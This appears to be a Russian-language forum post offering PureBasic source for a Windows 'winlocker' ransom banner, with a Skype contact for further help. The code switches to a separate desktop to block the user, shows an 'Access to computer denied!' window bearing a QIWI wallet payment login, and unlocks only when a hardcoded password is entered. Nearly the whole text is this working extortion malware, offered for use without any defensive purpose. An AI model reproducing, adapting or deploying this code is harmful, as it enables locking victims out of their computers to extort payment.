Создание Баннера

ПРОШУ ПРОЩЕНИЯ ЗА ТО ЧТО НЕ БЫЛО ВИДНО БАНЕРА Обращайтесь в skype zerald_112 Всё подробно расскажу! Текст для создания Баннера. #WINSTA_ALL = 983935 #DESKTOP_ALL = 983551 #Button = 4 hWinSta=OpenWindowStation_("WinSta0",0,#WINSTA_ALL) ; Подготовка к блокированию Windows. SetProcessWindowStation_(hWinSta) hDesk=CreateDesktop_("My Desktop 2",0,0,#DF_ALLOWOTHERACCOUNTHOOK,#DESKTOP_ALL,0) SetThreadDesktop_(hDesk) SwitchDesktop_(hDesk) ; Заблокировали Windows. ; Создание окна с элеменами управления (контролами). hWin=OpenWindow(0,0,0,408,187,"Доступ к компьютеру запрещён!",#PB_Window_ScreenCentered) TextGadget(2,45,20,300,135,"киви кошелёк log 9164978642 pass 8989.",#PB_Text_Center) SetGadgetFont(2, LoadFont(1,"Arial",20,#PB_Font_Bold)) StringGadget(1,100,100,200,20,"",#PB_String_Password) ButtonGadget(#Button,100,135,200,30,"Ok") Repeat ; Начало главного цикла программы. Event=WindowEvent() If Event=#PB_Event_Gadget EventGadget=EventGadget() EventType=EventType() If EventGadget=#Button If GetGadgetText(1)="12345" ; Проверка пароля. Break ; Пароль правильный. Else MessageBox_(hWin,"Неверный пароль!","Доступ закрыт!",0) EndIf EndIf EndIf ForEver ; Конец главного цикла программы. hDefaultDesk=OpenDesktop_("Default",#DF_ALLOWOTHERACCOUNTHOOK,0,#DESKTOP_SWITCHDESKTOP) SwitchDesktop_(hDefaultDesk) SetThreadDesktop_(hDefaultDesk) ; Разблокировка Windows. CloseDesktop_(hDesk) CloseDesktop_(hDefaultDesk) CloseWindowStation_(hWinSta) ; IDE Options = PureBasic 4.51 (Windows - x86) ; EnableXP ; UseIcon = иконка.ico ; Executable = winlock.exe